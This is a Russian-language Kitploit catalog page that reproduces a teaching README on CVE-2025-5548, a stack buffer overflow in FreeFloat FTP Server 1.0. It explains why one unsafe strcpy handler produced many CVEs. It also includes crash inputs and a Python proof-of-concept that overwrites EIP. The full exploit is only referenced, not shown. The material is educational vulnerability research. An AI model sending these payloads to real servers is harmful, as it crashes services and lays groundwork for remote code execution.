Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-5548 — Переполнение буфера в FreeFloat FTP Server 1.0, иллюстрирующее, как один небезопасный обработчик может породить несколько записей CVE для разных команд. | Kitploit
Инструменты/GitHubGitHub/themalwareguardian/cve-2025-5548
Анализ уязвимостейЭксплуатацияОбратная инженерияШелл-кодОтладчикиФаззингТестирование на ПроникновениеОбучение и ОбразованиеРазработка Полезной Нагрузки

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Эксплуатация Бинарных Файлов
GitHubthemalwareguardian/cve-2025-5548

CVE-2025-5548

Переполнение буфера в FreeFloat FTP Server 1.0, иллюстрирующее, как один небезопасный обработчик может породить несколько записей CVE для разных команд.

Репозиторий
15 месяцев назадЕщё не проверено

🐞 CVE-2025-5548: FreeFloat FTP Server 1.0 — Стек-буферное переполнение

Переполнение буфера в FreeFloat FTP Server 1.0, демонстрирующее, как один небезопасный обработчик может породить несколько записей CVE для разных команд.




📑 Содержание

  • Почему существует этот репозиторий
  • Почему эта уязвимость интересна
  • Одна и та же ошибка, несколько CVE
  • Об уязвимости
  • Вызов сбоя
  • Эксплуатация



🎓 Почему существует этот репозиторий

Этот репозиторий — часть материалов, которые я использую при обучении эксплуатации повреждений памяти (помимо основной работы я также преподаю на различных курсах по кибербезопасности, где помогаю готовить следующее поколение специалистов по реверс-инжинирингу).

CVE-2025-5548 — это пример, который я использую, чтобы показать студентам, что исследование уязвимостей — доступный навык, а не прерогатива старших исследователей с многолетним опытом. FreeFloat FTP Server 1.0 — небольшое устаревшее приложение для Windows, которое легко установить, легко запустить и легко аварийно завершить. Переполнение происходит через стандартную FTP-команду, путь эксплуатации — чистая перезапись EIP, а весь процесс от фазинга до работающего шелла можно выполнить за один сеанс.

Этот пример также напрямую связан с моим докладом «Путь, ведущий к вашему первому CVE», где я объясняю, что одна из самых реалистичных точек входа в исследование уязвимостей для новичков — это анализ старого ПО, понимание его внутреннего устройства и поиск недостающих проверок длины, которые приводят именно к такому классу уязвимостей. FreeFloat — один из примеров, который я использую, чтобы показать: для обнаружения и документирования реальной ошибки не нужны годы опыта, нужны любопытство, отладчик и методичный подход.

Особенно эффективным этот пример делает то, как он связан с более широким уроком о назначении CVE. Один и тот же небезопасный обработчик ввода в FreeFloat вызывает переполнения во множестве различных FTP-команд: USER, PASS, NOOP и других — каждая из них была независимо зарегистрирована и получила свой собственный номер CVE. Студенты, которые смотрят на список CVE для этой программы и видят десятки записей, быстро усваивают: количество CVE не равно количеству уязвимостей, а понимание первопричины важнее, чем каталогизация симптомов.

Как только студенты понимают процесс на подобных примерах, я показываю им реальный пример того, что будет дальше. Спустя две недели практики с переполнениями буфера и повреждениями памяти та уязвимость, которую они способны найти, уже существует в реальном ПО. Следующий репозиторий документирует уязвимость, которую я нашёл специально, чтобы показать студентам полный цикл: обнаружение, анализ, документирование и запрос CVE — на чём-то достаточно доступном, чтобы найти это в начале учебного пути, например CVE-2025-70330.

Этот репозиторий — часть более крупной коллекции. Если вы хотите попрактиковаться в эксплуатации широкого спектра техник, типов уязвимостей и целевых архитектур, загляните в репозиторий Binary-Exploitation, где весь этот материал организован и поддерживается вместе со множеством других CVE, методологий и упражнений по эксплуатации.




💡 Почему эта уязвимость интересна

Эта уязвимость затрагивает FreeFloat FTP Server 1.0, очень старый FTP-сервер для Windows, написанный без учёта современных практик безопасности. В 2025 году один исследователь сообщил о многих CVE, затрагивающих этот же бинарник.

Примеры:

  • CVE-2025-5667
  • CVE-2025-5548
  • CVE-2025-5220
  • CVE-2025-5075
  • и многие другие

Каждый CVE относится к разной FTP-команде, но при реверс-инжиниринге программы становится ясно, что многие из них проходят по одному и тому же уязвимому пути кода.

Это делает данный случай интересным не только как пример переполнения буфера, но и как демонстрация того, что:

  • Разные входные данные могут провоцировать одну и ту же ошибку.
  • Устаревшее ПО может содержать несколько небезопасных обработчиков.
  • Записи CVE не всегда представляют собой совершенно разные уязвимости.



🔍 Одна и та же ошибка, несколько CVE

При реверс-инжиниринге бинарника можно заметить, что все FTP-команды обрабатываются одной и той же функцией-диспетчером. Строка команды сохраняется внутри структуры сессии, и несколько обработчиков команд копируют пользовательский ввод в буферы фиксированного размера с использованием небезопасных функций, таких как strcpy, strcat и memcpy, без проверки длины полученных данных.

Из-за этого разные команды могут перезаписывать стек, даже если в описании CVE упоминается только одна конкретная команда.

Скачать инструмент

Например, сбой можно вызвать с помощью:

root@kitploit:~
NOOP AAAAA...
USER AAAAA...
PASS AAAAA...
HOST AAAAA...
ANYTHING AAAAA...

Единственное различие — количество байт, необходимое для перезаписи адреса возврата. Это означает, что многие задокументированные для этого ПО CVE имеют одну и ту же первопричину.




⚠️ Об уязвимости

FreeFloat FTP Server обрабатывает команды, полученные через TCP-порт 21, и сохраняет строку команды внутри внутренней структуры сессии. Затем обработчик команды копирует контролируемые пользователем данные в локальные стековые буферы без надлежащей проверки длины.

При реверс-инжиниринге бинарника можно заметить, что несколько обработчиков команд используют буферы фиксированного размера и небезопасные операции копирования. Упрощённая версия уязвимой логики выглядит так:

root@kitploit:~
char buffer[256];

strcpy(buffer, user_input);

Поскольку целевой буфер имеет фиксированный размер, а длина входных данных не проверяется, отправка длинной строки приводит к записи за пределы буфера.

По мере записи большего количества данных стековая разметка нарушается, пока не перезаписывается сохранённый адрес возврата.

Когда функция завершается, выполнение переходит к значению, контролируемому атакующим, что приводит к сбою. Под отладчиком это выглядит как перезапись указателя инструкции данными, подконтрольными атакующему.




💥 Вызов сбоя

Сбой можно воспроизвести, отправив длинную строку после допустимой FTP-команды. Пример на Python:

root@kitploit:~
import socket

ip = "127.0.0.1"
port = 21

payload = b"A" * 500

s = socket.socket()
s.connect((ip, port))

s.recv(1024)

s.send(b"USER anonymous\r\n")
s.recv(1024)

s.send(b"PASS anonymous\r\n")
s.recv(1024)

s.send(b"NOOP " + payload + b"\r\n")

s.close()

При запуске под отладчиком сбой покажет:

root@kitploit:~
EIP = 41414141

что подтверждает: контролируемые пользователем данные перезаписывают адрес возврата.




💣 Эксплуатация

Цель этого репозитория — не просто показать сбой, но и продемонстрировать полный процесс эксплуатации уязвимости шаг за шагом, используя ту же методологию, которая обычно применяется при разработке эксплойтов.

Чтобы основной README оставался чистым, подробные заметки об эксплуатации, скрипты и шаги с отладчиком размещены в папке Vulnerability 📂 этого репозитория.

Там вы найдёте полный рабочий процесс, использованный для эксплуатации этого CVE, включая фазинг, определение смещения, анализ недопустимых символов, поиск гаджетов и выполнение шеллкода.